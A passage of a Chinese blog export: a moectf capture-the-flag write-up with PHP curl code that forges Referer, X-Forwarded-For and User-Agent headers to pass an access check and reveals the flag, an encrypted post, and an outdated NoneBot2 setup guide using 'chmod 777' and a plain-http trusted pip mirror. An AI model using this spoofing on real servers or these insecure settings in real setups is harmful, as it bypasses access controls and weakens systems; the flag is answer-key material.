function\"\u003ecurl_init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$header\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token keyword\"\u003earray\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token string double-quoted-string\"\u003e\u0026#34;Referer: www.ltyyds.com\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string double-quoted-string\"\u003e\u0026#34;X-Forwarded-For: 127.0.0.1\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string double-quoted-string\"\u003e\u0026#34;User-Agent: LT\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string double-quoted-string\"\u003e\u0026#34;Date: Dec, 26 Dec 2015 17:30:00 GMT\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_URL\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$url\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_CUSTOMREQUEST\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token string single-quoted-string\"\u003e\u0026#39;HS\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_TIMEOUT\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_RETURNTRANSFER\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e#curl_setopt($ch,CURLOPT_HTTPHEADER,array(\u0026#34;X-Forwarded-For: 127.0.0.1\u0026#34;));\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_HTTPHEADER\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$header\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$content\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_exec\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"token variable\"\u003e$content\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token delimiter important\"\u003e?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{HTTPHeaders_1s_s0_ea5y!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/82c9/"},{"title":"blogEncrypt","time":"2021-09-09T14:02:52Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cdiv class=\"hbe hbe-container\" id=\"hexo-blog-encrypt\" data-wpm=\"抱歉, 这个密码看着不太对, 请再试试.\" data-whm=\"抱歉, 这个文章不能被校验, 不过您还是能看看解密后的内容.\"\u003e \u003cscript id=\"hbeData\" type=\"hbeData\" data-hmacdigest=\"4838c035240a77ed6a78693c026a2ff61b17c3551b0ee6366631d0ca6dcd57bb\"\u003eeefcb32dea6b1b3cf00a6005fbaeec13fe33249b90ab29d6586ecb398d0eca850144a02e601cd72ca042df0f6de4861b3b858d5692d5cde454c3b47084d3a78437917c5f5bbee81f8032aa9a1e29a844b0f4ca6e476c84a7eec435bf74a1be3edabb682d58c0e60af8baf6929662b069f5f11272f77a74d1b3477df7f4251f003c2801887418a7e0ad930d46f0a553d96a393a1222821cabf2e2e4e07db2017269ad22f352e61748bbb4b5c3e35a2cb0f9059ef4225ed713beae899374580e36163878e69f63c6c053ce0ca053c0c747\u003c/script\u003e \u003cdiv class=\"hbe hbe-content\"\u003e \u003cdiv class=\"hbe hbe-input hbe-input-xray\"\u003e \u003cinput class=\"hbe hbe-input-field hbe-input-field-xray\" type=\"password\" id=\"hbePass\"/\u003e \u003clabel class=\"hbe hbe-input-label hbe-input-label-xray\" for=\"hbePass\"\u003e \u003cspan class=\"hbe hbe-input-label-content hbe-input-label-content-xray\"\u003e这里需要密码.\u003c/span\u003e \u003c/label\u003e \u003csvg class=\"hbe hbe-graphic hbe-graphic-xray\" width=\"300%\" height=\"100%\" viewBox=\"0 0 1200 60\" preserveAspectRatio=\"none\"\u003e \u003cpath d=\"M0,56.5c0,0,298.666,0,399.333,0C448.336,56.5,513.994,46,597,46c77.327,0,135,10.5,200.999,10.5c95.996,0,402.001,0,402.001,0\"\u003e\u003c/path\u003e \u003cpath d=\"M0,2.5c0,0,298.666,0,399.333,0C448.336,2.5,513.994,13,597,13c77.327,0,135-10.5,200.999-10.5c95.996,0,402.001,0,402.001,0\"\u003e\u003c/path\u003e \u003c/svg\u003e \u003c/div\u003e \u003c/div\u003e\u003c/div\u003e\u003cscript data-pjax=\"\" src=\"/lib/hbe.js\"\u003e\u003c/script\u003e\u003clink href=\"/css/hbe.style.css\" rel=\"stylesheet\" type=\"text/css\"/\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/af/"},{"title":"折腾NoneBot","time":"2021-05-29T04:39:19Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 style=\"color:red;\"\u003ePay Attention!!!\u003c/h1\u003e\u003ch1 style=\"color:red;\"\u003ePay Attention!!!\u003c/h1\u003e\u003ch1 style=\"color:red;\"\u003ePay Attention!!!\u003c/h1\u003e\u003cscript\u003ealert(\"本篇博客内容已无参考性\")\u003c/script\u003e\u003cp\u003e因为 NoneBot 项目更新,本篇博客内容已无参考性!!!\u003c/p\u003e\u003cp\u003e因为 NoneBot 项目更新,本篇博客内容已无参考性!!!\u003c/p\u003e\u003cp\u003e因为 NoneBot 项目更新,本篇博客内容已无参考性!!!\u003c/p\u003e\u003cp\u003e\u003cdel\u003e(等有时间了整个新的)\u003c/del\u003e\u003c/p\u003e\u003ch1 id=\"折腾NoneBot-2\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E6%8A%98%E8%85%BENoneBot-2\" class=\"headerlink\" title=\"折腾NoneBot 2\"\u003e\u003c/a\u003e折腾NoneBot 2\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e看群里机器人挺有意思,然后翻学长GitHub(\u003ca href=\"https://github.com/Reverier-Xu\"\u003eReverier-Xu\u003c/a\u003e和\u003ca href=\"https://github.com/frankli0324\"\u003eFrank\u003c/a\u003e)的时候翻到了这个叫NoneBot的东西,就动手搞搞,刚好手头有不用的小号\u003c/del\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e全程在Manjaro下进行\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"参考资料\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%8F%82%E8%80%83%E8%B5%84%E6%96%99\" class=\"headerlink\" title=\"参考资料\"\u003e\u003c/a\u003e参考资料\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://v2.nonebot.dev/\"\u003eNoneBot官方手册\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://docs.nonebot.dev/\"\u003eNoneBot官方文档\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_42059060/article/details/114424753\"\u003e在centos上装载NoneBot2_ChenYX的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://muyuuuu.github.io/2019/09/21/python-virenv/\"\u003emanjaro下python创建虚拟环境 | Just for Life. (muyuuuu.github.io)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/7acbffa17c28\"\u003eArch/Manjaro安装deb安装包 - 简书 (jianshu.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/tujia/p/13597602.html\"\u003evirtualenvwrapper 的安装与使用 - Tiac - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/lzping/p/13534385.html\"\u003eLinux pip安装速度慢(超时报错),为pip换源 - lzping - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_42059060/article/details/114449178\"\u003e开启QBot_ChenYX的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"概览\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E6%A6%82%E8%A7%88\" class=\"headerlink\" title=\"概览\"\u003e\u003c/a\u003e概览\u003c/h2\u003e\u003cp\u003eNoneBot2 是一个可扩展的 Python 异步机器人框架,它会对机器人收到的事件进行解析和处理,并以插件化的形式,按优先级分发给事件所对应的事件响应器,来完成具体的功能。\u003c/p\u003e\u003cp\u003e除了起到解析事件的作用,NoneBot 还为插件提供了大量实用的预设操作和权限控制机制。对于命令处理,它更是提供了完善且易用的会话机制和内部调用机制,以分别适应命令的连续交互和插件内部功能复用等需求。\u003c/p\u003e\u003cp\u003e需要注意的是,NoneBot 仅支持 \u003cstrong\u003ePython 3.7+\u003c/strong\u003e\u003c/p\u003e\u003ch4 id=\"Linux-pip安装速度慢(超时报错),为pip换源\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#Linux-pip%E5%AE%89%E8%A3%85%E9%80%9F%E5%BA%A6%E6%85%A2%EF%BC%88%E8%B6%85%E6%97%B6%E6%8A%A5%E9%94%99%EF%BC%89%EF%BC%8C%E4%B8%BApip%E6%8D%A2%E6%BA%90\" class=\"headerlink\" title=\"Linux pip安装速度慢(超时报错),为pip换源\"\u003e\u003c/a\u003eLinux pip安装速度慢(超时报错),为pip换源\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003emkdir\u003c/span\u003e \u003cspan class=\"token parameter variable\"\u003e-p\u003c/span\u003e ~/.pip/\u003cspan class=\"token function\"\u003enano\u003c/span\u003e pip.conf\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003epip.conf\u003c/code\u003e 中内容如下:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eglobal\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003eindex-url\u003cspan class=\"token operator\"\u003e=\u003c/span\u003ehttp://mirrors.aliyun.com/pypi/simple/\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003einstall\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003etrusted-host\u003cspan class=\"token operator\"\u003e=\u003c/span\u003emirrors.aliyun.com\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"安装\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%AE%89%E8%A3%85\" class=\"headerlink\" title=\"安装\"\u003e\u003c/a\u003e安装\u003c/h2\u003e\u003ch3 id=\"虚拟环境\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"虚拟环境\"\u003e\u003c/a\u003e虚拟环境\u003c/h3\u003e\u003cp\u003e为了装载 NoneBot2 并保证相关配置包不会冲突,我们需要安装一个纯净的 python 空间。这里我们就要用到 virtualenv 工具包了。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003evirtualenvwrapper\u003c/strong\u003e 是一个python项目环境管理工具,一个项目一个独立环境(可随心切换),\u003cstrong\u003e防止不同项目依赖环境的相互污染\u003c/strong\u003e。\u003c/p\u003e\u003ch3 id=\"virtualenv-的安装\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#virtualenv-%E7%9A%84%E5%AE%89%E8%A3%85\" class=\"headerlink\" title=\"virtualenv 的安装\"\u003e\u003c/a\u003evirtualenv 的安装\u003c/h3\u003e\u003cp\u003e首先使用 pip 命令安装两个需要的包\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e如果 pip 软链接没有修改成 pip3 的话要输入 pip3\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003epip3 \u003cspan class=\"token function\"\u003einstall\u003c/span\u003e virtualenvpip3 \u003cspan class=\"token function\"\u003einstall\u003c/span\u003e virtualenvwrapper\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后创建一个文件夹,用于存放所有的虚拟环境:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003emkdir\u003c/span\u003e \u003cspan class=\"token parameter variable\"\u003e-p\u003c/span\u003e /usr/local/virtualenvs \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e目录自定义\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e注意:安装完虚拟环境后,如果提示找不到mkvirtualenv命令,须配置环境变量:\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e首先查看一下 \u003ccode\u003evirtualenvwrapper.sh\u003c/code\u003e 和 \u003ccode\u003epython3\u003c/code\u003e 的安装目录\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003ewhich\u003c/span\u003e virtualenvwrapper.sh\u003cspan class=\"token function\"\u003ewhich\u003c/span\u003e python3\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e用whereis也行\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e修改文件 \u003ccode\u003e.bashrc\u003c/code\u003e ,这就是用户配置文件\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token builtin class-name\"\u003ecd\u003c/span\u003e ~\u003cspan class=\"token function\"\u003esudo\u003c/span\u003e \u003cspan class=\"token function\"\u003enano\u003c/span\u003e .bashrc\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e文件末尾添加\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token builtin class-name\"\u003eexport\u003c/span\u003e \u003cspan class=\"token assign-left variable\"\u003eWORKON_HOME\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e/usr/local/virtualenvs \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e绝对路径\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token builtin class-name\"\u003esource\u003c/span\u003e /home/cyk/.local/bin/virtualenvwrapper.sh\u003cspan class=\"token assign-left variable\"\u003eVIRTUALENVWRAPPER_PYTHON\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e/usr/bin/python3\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e这里注意,WORKON_HOME的绝对路径需要填写你刚刚创建的文件夹地址。source 里要填写你刚刚 pip 安装 virtualenvwrapper 的位置,就是上面找到的\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e再然后更新环境变量\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token builtin class-name\"\u003esource\u003c/span\u003e ~/.bashrc\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"激活\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E6%BF%80%E6%B4%BB\" class=\"headerlink\" title=\"激活\"\u003e\u003c/a\u003e激活\u003c/h4\u003e\u003cp\u003e在终端输入\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token builtin class-name\"\u003esource\u003c/span\u003e virtualenvwrapper.sh\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"创建虚拟环境\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%88%9B%E5%BB%BA%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"创建虚拟环境\"\u003e\u003c/a\u003e创建虚拟环境\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003emkvirtualenv 你的虚拟环境名称\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e进入虚拟环境后命令行会有所变化。(一定不要\u003ccode\u003esudo\u003c/code\u003e)\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e如果报错了,说明我们没有给 \u003ccode\u003evirtualenv\u003c/code\u003e 创建软链接,然后就ok了\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003eln\u003c/span\u003e \u003cspan class=\"token parameter variable\"\u003e-s\u003c/span\u003e /home/cyk/.local/bin/virtualenv /usr/bin/virtualenv\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e如果出现类似\u003ccode\u003evirtualenv: error: argument dest: the destination . is not write-able at /usr/local/virtualenvs\u003c/code\u003e的错误\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e该错误是由于.virtualenvs没有可写的权限引起的,可对该文件赋予可读可写可执行的权限\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003esudo\u003c/span\u003e \u003cspan class=\"token function\"\u003echmod\u003c/span\u003e \u003cspan class=\"token number\"\u003e777\u003c/span\u003e /usr/local/virtualenvs\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e之后再次创建虚拟环境\u003c/p\u003e\u003ch4 id=\"列出虚拟环境\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%88%97%E5%87%BA%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"列出虚拟环境\"\u003e\u003c/a\u003e列出虚拟环境\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003eworkon\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"启动虚拟环境\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%90%AF%E5%8A%A8%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"启动虚拟环境\"\u003e\u003c/a\u003e启动虚拟环境\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003eworkon \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003evenvname\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e你虚拟环境的名字\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"退出虚拟环境\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E9%80%80%E5%87%BA%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"退出虚拟环境\"\u003e\u003c/a\u003e退出虚拟环境\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003edeactivate\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"删除虚拟环境\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%88%A0%E9%99%A4%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"删除虚拟环境\"\u003e\u003c/a\u003e删除虚拟环境\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003ermvirtualenv \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003evenvname\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"安装NoneBot\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%AE%89%E8%A3%85NoneBot\" class=\"headerlink\" title=\"安装NoneBot\"\u003e\u003c/a\u003e安装NoneBot\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e一定要进入虚拟环境\u003c/strong\u003e\u003c/p\u003e\u003ch4 id=\"通过脚手架安装\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E9%80%9A%E8%BF%87%E8%84%9A%E6%89%8B%E6%9E%B6%E5%AE%89%E8%A3%85\" class=\"headerlink\" title=\"通过脚手架安装\"\u003e\u003c/a\u003e通过脚手架安装\u003c/h4\u003e\u003cp\u003e使用 \u003ccode\u003epip\u003c/code\u003e 或 其他包管理工具 安装 